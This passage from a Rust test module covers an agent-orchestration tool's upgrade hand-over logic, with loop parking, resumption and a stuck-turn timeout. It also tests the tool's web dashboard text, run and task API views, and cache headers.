20628 assert_eq!(turns.lock().unwrap().live.len(), 1);
20629
20630 let progress = crate::updater::read_progress(home.path()).expect("progress");
20632 let view = upgrade_progress_view(&ui, progress);
20633 assert!(
20634 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20635 "{:?}",
20636 view.waiting_on
20637 );
20638
20639 assert!(!handover.is_finished());
20640 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20641 drop(turn);
20642 handover.await.expect("join").expect("hand over");
20643 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20644 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20645 }
20646
20647 #[tokio::test]
20650 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20651 let home = TempDir::new().expect("temp home");
20652 let (ui, looping, turns, served) = park_fixture(&home).await;
20653 let ui = Arc::new(ui);
20654 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20656 lock_or_recover(&looping).live = Some(Live {
20657 stop: daemon::Stop::new(),
20658 handle: tokio::spawn(async move {
20659 let _ = loop_ended.await;
20660 }),
20661 opts: daemon::Opts::default(),
20662 });
20663
20664 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20665 let handover = tokio::spawn({
20666 let home = home.path().to_path_buf();
20667 let turns = Arc::clone(&turns);
20668 let calls = Arc::clone(&calls);
20669 async move {
20670 hand_over(
20671 &home,
20672 &looping,
20673 &turns,
20674 &|_: &[String]| Duration::from_secs(60),
20675 served,
20676 move |_| {
20677 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20678 Ok(1)
20679 },
20680 )
20681 .await
20682 }
20683 });
20684
20685 let reached = async {
20686 for _ in 0..200 {
20687 if crate::updater::read_progress(home.path())
20688 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20689 {
20690 return;
20691 }
20692 tokio::time::sleep(Duration::from_millis(25)).await;
20693 }
20694 panic!("the hand-over never reached parking");
20695 };
20696 reached.await;
20697
20698 assert!(!turns.lock().unwrap().parking);
20700 let turn = ui
20701 .begin_talk_turn("20260901-000000-chat")
20702 .expect("claim")
20703 .expect("a turn can start while the loop parks");
20704
20705 end_loop.send(()).expect("loop still waiting");
20707 for _ in 0..200 {
20708 if turns.lock().unwrap().parking {
20709 break;
20710 }
20711 tokio::time::sleep(Duration::from_millis(25)).await;
20712 }
20713 assert!(
20714 turns.lock().unwrap().parking,
20715 "closed once the loop is done"
20716 );
20717 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20718 assert!(
20719 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20720 "no turn starts once the loop is done"
20721 );
20722 assert!(
20723 ui.begin_queued_talk_turn("20260901-000000-late")
20724 .expect("queued claim")
20725 .is_none()
20726 );
20727 assert!(!handover.is_finished());
20728 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20729
20730 drop(turn);
20731 handover.await.expect("join").expect("hand over");
20732 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20733 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20734 }
20735
20736 #[tokio::test]
20739 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20740 let home = TempDir::new().expect("temp home");
20741 let (ui, looping, turns, served) = park_fixture(&home).await;
20742 let id = "20260901-000000-stuk";
20743 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20744
20745 let calls = std::sync::atomic::AtomicUsize::new(0);
20746 hand_over(
20747 home.path(),
20748 &looping,
20749 &turns,
20750 &|_: &[String]| Duration::from_millis(300),
20751 served,
20752 |_| {
20753 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20754 Ok(1)
20755 },
20756 )
20757 .await
20758 .expect("hand over");
20759 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20760
20761 let progress = crate::updater::read_progress(home.path()).expect("progress");
20762 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20763 assert!(
20764 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20765 "{:?}",
20766 progress.detail
20767 );
20768 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20769 assert!(
20770 log.contains("handing over anyway") && log.contains(id),
20771 "{log}"
20772 );
20773 }
20774
20775 #[tokio::test]
20778 async fn drain_loop_starts_no_turn_while_parking() {
20779 let tmp = TempDir::new().expect("tempdir");
20780 let repo = tmp.path().join("repo");
20781 std::fs::create_dir_all(&repo).expect("repo dir");
20782 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20783 let home = TempDir::new().expect("temp home");
20784 let talks = Talks::at(home.path().join("talks"));
20785 let ui = Ui::new(
20786 Queue::at(home.path().join("queue")),
20787 Questions::at(home.path().join("questions")),
20788 talks.clone(),
20789 home.path().join("runs"),
20790 home.path().to_path_buf(),
20791 repo.clone(),
20792 )
20793 .with_worktrees_root(home.path().join("wt"));
20794 let cfg = config_for(&repo).await.expect("discover config");
20795 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20796 let id = talk.id.clone();
20797 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20798 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20799 let turns = ui.turns();
20800 let parking = ParkingTurns::begin(&turns);
20801
20802 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20803
20804 assert!(
20805 turns.lock().unwrap().live.is_empty(),
20806 "the slot is given up"
20807 );
20808 let fresh = talks.get(&id).expect("talk");
20809 assert_eq!(fresh.pending, "later", "the draft is still queued");
20810 assert!(fresh.turns.is_empty(), "no turn ran");
20811 drop(parking);
20812 }
20813
20814 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20816 let looping = ui.looping();
20817 let turns = ui.turns();
20818 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20819 .await
20820 .expect("bind loopback");
20821 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20822 let told = std::sync::Mutex::new(None);
20823 hand_over(
20824 home.path(),
20825 &looping,
20826 &turns,
20827 &|_: &[String]| Duration::from_secs(5),
20828 served,
20829 |resume| {
20830 *told.lock().unwrap() = Some(resume);
20831 Ok(1)
20832 },
20833 )
20834 .await
20835 .expect("hand over");
20836 told.into_inner().unwrap().expect("successor was started")
20837 }
20838
20839 #[tokio::test]
20840 async fn a_running_loop_is_resumed_by_the_successor() {
20841 let home = TempDir::new().expect("temp home");
20842 let ui = idle_ui(&home);
20843 ui.start_loop(None).expect("start");
20844 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20845 for _ in 0..500 {
20847 if !ui.loop_view(None).running {
20848 break;
20849 }
20850 tokio::time::sleep(Duration::from_millis(2)).await;
20851 }
20852 assert!(handed_over(&home, ui).await, "a running loop must resume");
20853
20854 let successor = idle_ui(&home);
20855 assert!(!successor.loop_view(None).running);
20856 assert!(successor.resume_after_handover(true));
20857 assert!(successor.loop_view(None).running);
20858 successor.stop_loop(None, false).expect("stop");
20859 }
20860
20861 #[tokio::test]
20862 async fn a_second_upgrade_request_keeps_the_resume_intent() {
20863 let home = TempDir::new().expect("temp home");
20864 let ui = idle_ui(&home);
20865 ui.start_loop(None).expect("start");
20866 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20867 .expect("first park");
20868 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20869 .expect("second park");
20870 assert!(handed_over(&home, ui).await);
20871 }
20872
20873 #[tokio::test]
20874 async fn a_stop_during_the_handover_wait_is_honoured() {
20875 let home = TempDir::new().expect("temp home");
20876 let ui = idle_ui(&home);
20877 ui.start_loop(None).expect("start");
20878 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20879 ui.stop_loop(None, false).expect("stop");
20880 assert!(!handed_over(&home, ui).await);
20881 }
20882
20883 #[tokio::test]
20884 async fn an_idle_loop_stays_stopped_across_the_handover() {
20885 let home = TempDir::new().expect("temp home");
20886 let ui = idle_ui(&home);
20887 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20888 assert!(!handed_over(&home, ui).await);
20889
20890 let successor = idle_ui(&home);
20891 assert!(!successor.resume_after_handover(false));
20892 assert!(!successor.loop_view(None).running);
20893 }
20894
20895 #[tokio::test]
20896 async fn a_loop_the_operator_stopped_is_not_resumed() {
20897 let home = TempDir::new().expect("temp home");
20898 let ui = idle_ui(&home);
20899 ui.start_loop(None).expect("start");
20900 ui.stop_loop(None, false).expect("stop");
20901 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20902 assert!(!handed_over(&home, ui).await);
20903 }
20904
20905 #[test]
20906 fn only_an_explicit_one_requests_a_resume() {
20907 assert!(!resume_requested(None));
20908 assert!(!resume_requested(Some("0".into())));
20909 assert!(!resume_requested(Some("".into())));
20910 assert!(resume_requested(Some("1".into())));
20911 }
20912
20913 #[test]
20914 fn the_upgrade_button_arms_before_it_restarts_anything() {
20915 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
20918 assert!(APP_JS.contains("Replace the binary and restart?"));
20919 assert!(APP_JS.contains("function confirmed("));
20920 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
20925 assert!(
20929 APP_JS.contains("Parking, then restarting"),
20930 "the button says what it is waiting for"
20931 );
20932 assert!(APP_JS.contains("if (!out.to)"));
20935 }
20936
20937 #[test]
20938 fn stopping_the_loop_arms_but_starting_does_not() {
20939 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20942 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20943 assert!(APP_JS.contains("confirmed(button, question)"));
20944 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
20947 assert!(APP_JS.contains("const label = btn.textContent;"));
20948 assert!(!APP_JS.contains("Neither direction is guarded"));
20949 }
20950
20951 #[test]
20952 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20953 assert!(
20954 APP_JS.contains("state.health.version"),
20955 "the operator wants to know what is running even with nothing newer"
20956 );
20957 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20958 }
20959
20960 #[test]
20961 fn the_upgrade_button_names_its_destination() {
20962 assert!(
20963 APP_JS.contains("`Update to ${update.to}`"),
20964 "pressing the button should not be a surprise about what it moves to"
20965 );
20966 }
20967
20968 #[test]
20969 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20970 for stage in ["downloading", "replaced", "parking", "restarting"] {
20971 assert!(
20972 APP_JS.contains(&format!("\"{stage}\"")),
20973 "the phone must be able to tell {stage} apart from the others"
20974 );
20975 }
20976 assert!(APP_JS.contains(".waiting_on"));
20977 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20982 assert!(APP_JS.contains("reconnects on its own"));
20983 }
20984
20985 #[test]
20986 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20987 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20988 ..APP_JS.find("function upgrade(").expect("upgrade")];
20989 assert!(!body.contains(
20990 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
20991 ));
20992 assert!(body.contains("renderUpgradeError();"));
20993 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
20994 }
20995
20996 #[test]
20997 fn an_overdue_upgrade_eventually_asks_for_a_human() {
20998 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21001 assert!(APP_JS.contains("function upgradeOverdue("));
21002 }
21003
21004 #[test]
21005 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21006 assert!(
21007 APP_JS.contains("Updated to ${upgradeInfo.to"),
21008 "the operator who asked for the restart wants to know it worked"
21009 );
21010 }
21011
21012 #[test]
21013 fn an_error_is_visible_from_where_the_button_is() {
21014 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21019 ..APP_CSS.find(".alert-text").expect(".alert-text")];
21020 assert!(
21021 alert.contains("position: fixed"),
21022 "an error about the thing under your thumb has to be visible from \
21023 where your thumb is: {alert}"
21024 );
21025 assert!(
21026 alert.contains("z-index: 25"),
21027 "above the dock (20) and the run-actions FAB (15), so neither \
21028 buries it: {alert}"
21029 );
21030 assert!(
21031 alert.contains("var(--tap)"),
21032 "and clear of the dock and the home indicator: {alert}"
21033 );
21034 assert!(
21037 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21038 "the FAB's column stays free: {alert}"
21039 );
21040 }
21041
21042 #[tokio::test]
21043 async fn an_older_attempt_says_what_replaced_it() {
21044 let fx = Fixture::start().await;
21045 let q = fx.queue();
21046 let runs = fx.runs();
21047 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21048 write_run(&runs, first, RunStatus::Stalled);
21049 write_run(&runs, second, RunStatus::Blocked);
21050
21051 let mut t = Task::new(
21052 "one task".to_owned(),
21053 "do it".to_owned(),
21054 PathBuf::from("/repo"),
21055 Source::Human,
21056 );
21057 t.runs = vec![first.to_owned(), second.to_owned()];
21058 q.put(&mut t).expect("put");
21059
21060 let rows = fx.get("/api/runs").await.json();
21064 let by = |short: &str| -> Value {
21065 rows.as_array()
21066 .unwrap()
21067 .iter()
21068 .find(|r| r["short"] == short)
21069 .cloned()
21070 .unwrap_or(Value::Null)
21071 };
21072 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21073 assert!(
21074 by("bbbb")["superseded_by"].is_null(),
21075 "the latest attempt is not superseded by anything"
21076 );
21077 assert!(APP_JS.contains("run.superseded_by"));
21079 assert!(APP_JS.contains("Superseded by"));
21080 }
21081
21082 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21083 let mut t = Task::new(
21084 "one task".to_owned(),
21085 "do it".to_owned(),
21086 PathBuf::from("/repo"),
21087 Source::Human,
21088 );
21089 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21090 t.status = status;
21091 t
21092 }
21093
21094 #[test]
21095 fn source_link_picks_the_page_that_filed_the_task() {
21096 let agent = |node: &str| Source::Agent {
21097 run: "20260904-014455-ab12".to_owned(),
21098 node: node.to_owned(),
21099 };
21100 let chat = source_link(&agent("chat")).expect("chat link");
21101 assert_eq!(chat.kind, "chat");
21102 assert_eq!(chat.id, "20260904-014455-ab12");
21103 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21104 let run = source_link(&agent("implement")).expect("run link");
21105 assert_eq!(
21106 (run.kind, run.href.as_str()),
21107 ("run", "#/runs/20260904-014455-ab12")
21108 );
21109 assert_eq!(source_link(&Source::Human), None);
21110 assert_eq!(
21111 source_link(&Source::Issue {
21112 number: 3,
21113 repo: "o/r".to_owned()
21114 }),
21115 None
21116 );
21117 let odd = source_link(&Source::Agent {
21118 run: "a b/c".to_owned(),
21119 node: "chat".to_owned(),
21120 })
21121 .expect("link");
21122 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21123 }
21124
21125 #[test]
21126 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21127 assert!(
21128 !APP_JS.contains("src.node === \"chat\""),
21129 "inline href rule is back"
21130 );
21131 assert!(
21132 APP_JS.matches("sourceLinkOf(").count() >= 4,
21133 "helper must serve every page"
21134 );
21135 assert!(
21136 APP_JS.matches("openChatLink(").count() >= 3,
21137 "the run page still needs its explicit chat link"
21138 );
21139 assert!(
21140 !APP_JS.contains("const openChat = el("),
21141 "the Queue card duplicates its source label link again"
21142 );
21143 assert!(
21144 APP_JS.contains("metaKids.push(link ? el(\"a\""),
21145 "the task page must link a chat source label too"
21146 );
21147 }
21148
21149 #[test]
21150 fn task_ref_carries_the_source_link_for_a_chat_task() {
21151 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21152 t.source = Source::Agent {
21153 run: "20260904-014455-ab12".to_owned(),
21154 node: "chat".to_owned(),
21155 };
21156 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21157 let v = serde_json::to_value(&out).expect("json");
21158 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21159 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21160 assert_eq!(v["source_label"], t.source.label());
21161
21162 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21163 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21164 .expect("json");
21165 assert!(v["source_link"].is_null(), "{v}");
21166 }
21167
21168 #[test]
21169 fn task_view_serializes_source_link() {
21170 let mut t = Task::new(
21171 "t".to_owned(),
21172 "t".to_owned(),
21173 PathBuf::from("/repo"),
21174 Source::Agent {
21175 run: "20260901-000000-aaaa".to_owned(),
21176 node: "implement".to_owned(),
21177 },
21178 );
21179 t.runs.clear();
21180 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21181 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21182 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21183 }
21184
21185 #[test]
21186 fn task_view_serializes_urgent_flag() {
21187 let mut t = Task::new(
21188 "t".to_owned(),
21189 "t".to_owned(),
21190 PathBuf::from("/repo"),
21191 Source::Human,
21192 );
21193 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21194 assert_eq!(v["urgent"], false, "{v}");
21195 t.urgent = true;
21196 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21197 assert_eq!(v["urgent"], true, "{v}");
21198 assert!(APP_JS.contains("task.urgent === true"));
21199 }
21200
21201 #[tokio::test]
21202 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21203 let fx = Fixture::start().await;
21204 let runs = fx.runs();
21205 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21206 write_run(&runs, old, RunStatus::Blocked);
21207 write_run(&runs, new, RunStatus::Merged);
21208 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21209 fx.queue().put(&mut t).expect("put");
21210
21211 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21212 let task = &view["task"];
21213 assert_eq!(task["status"], "done");
21214 assert_eq!(task["is_latest"], false);
21215 assert_eq!(task["latest"]["short"], "bbbb");
21216 assert_eq!(task["finished_by"]["id"], new);
21217 assert_eq!(task["finished_by"]["outcome"], "merged");
21218 assert_eq!(task["closed_by_hand"], false);
21219 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21220 assert!(APP_JS.contains("finished_by"));
21221 assert!(APP_JS.contains("superseded by run"));
21222 }
21223
21224 #[tokio::test]
21225 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21226 let fx = Fixture::start().await;
21227 let runs = fx.runs();
21228 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21229 write_run(&runs, old, RunStatus::Stalled);
21230 write_run(&runs, new, RunStatus::Blocked);
21231 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21232 fx.queue().put(&mut t).expect("put");
21233
21234 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21235 assert_eq!(task["status"], "held");
21236 assert_eq!(task["is_latest"], true);
21237 assert!(task["latest"].is_null());
21238 assert!(task["finished_by"].is_null());
21239 assert_eq!(task["closed_by_hand"], false);
21240 }
21241
21242 #[tokio::test]
21243 async fn a_direct_run_has_no_task_outcome() {
21244 let fx = Fixture::start().await;
21245 let runs = fx.runs();
21246 let id = "20260901-000000-aaaa";
21247 write_run(&runs, id, RunStatus::Blocked);
21248 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21249 assert!(view["task"].is_null());
21250 }
21251
21252 #[test]
21253 fn task_outcome_does_not_guess_a_finishing_run() {
21254 let a = "20260901-000000-aaaa";
21255 let b = "20260901-000000-bbbb";
21256 let c = "20260901-000000-cccc";
21257 let dir = tempfile::tempdir().expect("tempdir");
21258 write_run(dir.path(), a, RunStatus::Blocked);
21259 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21260 let read = |id: &str| read_run(dir.path(), id).ok();
21262 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21265 let out = task_outcome(&t, a, 3, read);
21266 assert!(out.finished_by.is_none());
21267 assert!(out.closed_by_hand);
21268 let latest = out.latest.expect("latest");
21269 assert_eq!(latest.id, c);
21270 assert_eq!(latest.status, None);
21271 assert_eq!(latest.outcome, "record unreadable");
21272
21273 write_run(dir.path(), c, RunStatus::Ready);
21275 let t = outcome_task(&[a, c], TaskStatus::Done);
21276 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21277 assert_eq!(out.finished_by.expect("finisher").id, c);
21278 assert!(!out.closed_by_hand);
21279
21280 let t = outcome_task(&[a, b, a], TaskStatus::Held);
21282 assert!(task_outcome(&t, a, 3, read).is_latest);
21283 }
21284
21285 #[tokio::test]
21286 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21287 let fx = Fixture::start().await;
21292 let q = fx.queue();
21293 let runs = fx.runs();
21294 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21295 write_run(&runs, first, RunStatus::Blocked);
21296 write_run(&runs, second, RunStatus::Merged);
21297
21298 let mut t = Task::new(
21299 "one task".to_owned(),
21300 "do it".to_owned(),
21301 PathBuf::from("/repo"),
21302 Source::Human,
21303 );
21304 t.runs = vec![first.to_owned(), second.to_owned()];
21305 q.put(&mut t).expect("put");
21306
21307 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21308 assert_eq!(earlier["superseded_by"], "dddd");
21309 assert_eq!(earlier["latest_attempt"]["id"], second);
21310 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21311 assert_eq!(
21312 earlier["latest_attempt"]["resolved"], true,
21313 "the run that replaced it landed, so this one reads as settled"
21314 );
21315
21316 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21317 assert!(
21318 later["superseded_by"].is_null(),
21319 "the latest attempt is not superseded by anything"
21320 );
21321 assert!(
21322 later["latest_attempt"].is_null(),
21323 "the latest attempt has no later attempt of its own"
21324 );
21325
21326 assert!(APP_JS.contains("run.latest_attempt"));
21333 assert!(APP_JS.contains("data-superseded"));
21334 assert!(APP_JS.contains("#/runs/${latest.id}"));
21335 }
21336
21337 #[tokio::test]
21338 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21339 let fx = Fixture::start().await;
21345 let q = fx.queue();
21346 let runs = fx.runs();
21347 let (a, b, c) = (
21348 "20260901-000000-aaaa",
21349 "20260901-000000-bbbb",
21350 "20260901-000000-cccc",
21351 );
21352 write_run(&runs, a, RunStatus::Blocked);
21353 write_run(&runs, b, RunStatus::Blocked);
21354 write_run(&runs, c, RunStatus::Merged);
21355
21356 let mut t = Task::new(
21357 "retried twice".to_owned(),
21358 "do it".to_owned(),
21359 PathBuf::from("/repo"),
21360 Source::Human,
21361 );
21362 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21363 q.put(&mut t).expect("put");
21364
21365 let view = fx.get(&format!("/api/runs/{a}")).await.json();
21366 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21367 assert_eq!(
21368 view["latest_attempt"]["id"], c,
21369 "the chain's current head, not the intermediate Blocked retry"
21370 );
21371 assert_eq!(view["latest_attempt"]["resolved"], true);
21372
21373 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21374 assert_eq!(mid["latest_attempt"]["id"], c);
21375 assert_eq!(mid["latest_attempt"]["resolved"], true);
21376 }
21377
21378 #[tokio::test]
21379 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21380 let fx = Fixture::start().await;
21381 let q = fx.queue();
21382 let runs = fx.runs();
21383
21384 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21387 write_run(&runs, still_blocked_a, RunStatus::Blocked);
21388 write_run(&runs, still_blocked_b, RunStatus::Blocked);
21389 let mut t1 = Task::new(
21390 "still stuck".to_owned(),
21391 "do it".to_owned(),
21392 PathBuf::from("/repo"),
21393 Source::Human,
21394 );
21395 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21396 q.put(&mut t1).expect("put");
21397 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21398 assert_eq!(view1["latest_attempt"]["resolved"], false);
21399 assert_eq!(view1["latest_attempt"]["status"], "blocked");
21400 assert_eq!(view1["latest_attempt"]["done"], true);
21401
21402 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21404 write_run(&runs, run_a, RunStatus::Blocked);
21405 write_run(&runs, run_b, RunStatus::Implementing);
21406 let mut t3 = Task::new(
21407 "retrying".to_owned(),
21408 "do it".to_owned(),
21409 PathBuf::from("/repo"),
21410 Source::Human,
21411 );
21412 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21413 q.put(&mut t3).expect("put");
21414 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21415 assert_eq!(view3["latest_attempt"]["id"], run_b);
21416 assert_eq!(view3["latest_attempt"]["resolved"], false);
21417 assert_eq!(view3["latest_attempt"]["done"], false);
21418
21419 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21424 write_run(&runs, noop_a, RunStatus::Blocked);
21425 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21426 let mut t2 = Task::new(
21427 "claims done".to_owned(),
21428 "do it".to_owned(),
21429 PathBuf::from("/repo"),
21430 Source::Human,
21431 );
21432 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21433 q.put(&mut t2).expect("put");
21434 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21435 assert_eq!(
21436 view2["latest_attempt"]["resolved"], false,
21437 "an unverified no-op claim must not read as a confirmed finish"
21438 );
21439
21440 assert!(APP_JS.contains("latest.resolved"));
21443 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21446 assert!(APP_JS.contains("Latest attempt: "));
21447 assert!(APP_JS.contains("in flight"));
21448 assert!(APP_JS.contains("not resolved"));
21449 }
21450
21451 #[tokio::test]
21452 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21453 let fx = Fixture::start().await;
21454 let js = fx.get("/app.js").await;
21460 assert_eq!(js.status, 200);
21461 let tag = js
21462 .header("etag")
21463 .expect("an etag to revalidate against")
21464 .to_owned();
21465 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21466 assert_eq!(
21467 js.header("cache-control"),
21468 Some("no-cache, must-revalidate"),
21469 "the phone has to ask every time"
21470 );
21471
21472 let again = fx
21475 .get_with("/app.js", &[("if-none-match", tag.as_str())])
21476 .await;
21477 assert_eq!(
21478 again.status, 304,
21479 "a deck it already has costs one round trip"
21480 );
21481 assert!(again.body.is_empty(), "304 carries no body");
21482
21483 let weak = fx
21486 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21487 .await;
21488 assert_eq!(weak.status, 304);
21489 let stale = fx
21490 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21491 .await;
21492 assert_eq!(stale.status, 200, "an older build must be replaced");
21493 assert!(stale.body.contains("renderRunActions"));
21494 }
21495
21496 #[test]
21497 fn the_task_detail_has_an_actions_fab_and_sheet() {
21498 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21499 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21500 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21501 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21503 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21504 assert!(APP_JS.contains("renderTaskActions(task);"));
21506 assert!(APP_JS.contains("renderTaskActions(null);"));
21507 let sheet = APP_JS
21509 .find("function renderTaskActions")
21510 .expect("sheet renderer");
21511 let body = &APP_JS[sheet..sheet + 3000];
21512 assert!(body.contains("changePriority("));
21513 assert!(body.contains("openTaskEdit(task)"));
21514 assert!(body.contains("renderTaskHoldBox(host"));
21515 assert!(body.contains("renderTaskDoneBox(host"));
21516 assert!(body.contains("renderTaskDeleteBox(host"));
21517 assert!(APP_JS.contains("API.priority(id)"));
21518 assert!(APP_JS.contains("API.deleteTask(id)"));
21519 assert!(APP_JS.contains("location.hash = \"#/queue\""));
21521 assert!(APP_JS.contains("$(\"task-actions-error\")"));
21523 }
21524
21525 #[test]
21526 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21527 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21528 let actions = INDEX_HTML
21529 .find("id=\"run-actions-box\"")
21530 .expect("actions box");
21531 assert!(task < actions, "the task entry comes first in the sheet");
21532 assert!(APP_JS.contains("renderRunTaskEntry"));
21533 assert!(APP_JS.contains("\"Open task \""));
21534 assert!(APP_JS.contains("started directly, no task"));
21536 assert!(APP_JS.contains("sheet-task-link"));
21537 assert!(APP_JS.contains("task-chip-link"));
21538 }
21539
21540 #[test]
21541 fn the_deck_never_sends_the_operator_to_a_terminal() {
21542 assert!(
21545 !APP_JS.contains("Run `magi fold` first"),
21546 "the deck must offer the fold, not prescribe a shell command"
21547 );
21548 assert!(APP_JS.contains("foldRun:"));
21549 assert!(APP_JS.contains("resumeRun:"));
21550 assert!(APP_JS.contains("renderRunActions"));
21551
21552 assert!(APP_JS.contains("armedFold"));
21554 assert!(APP_JS.contains("Yes, fold worktrees"));
21555
21556 assert!(APP_JS.contains("can no longer be resumed"));
21559 }
21560
21561 #[test]
21562 fn a_finished_run_explains_itself_with_its_own_last_line() {
21563 assert!(
21569 !APP_JS.contains("collapsed on agent quota"),
21570 "a stall must not be explained by a cause the deck did not check"
21571 );
21572 assert!(
21573 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
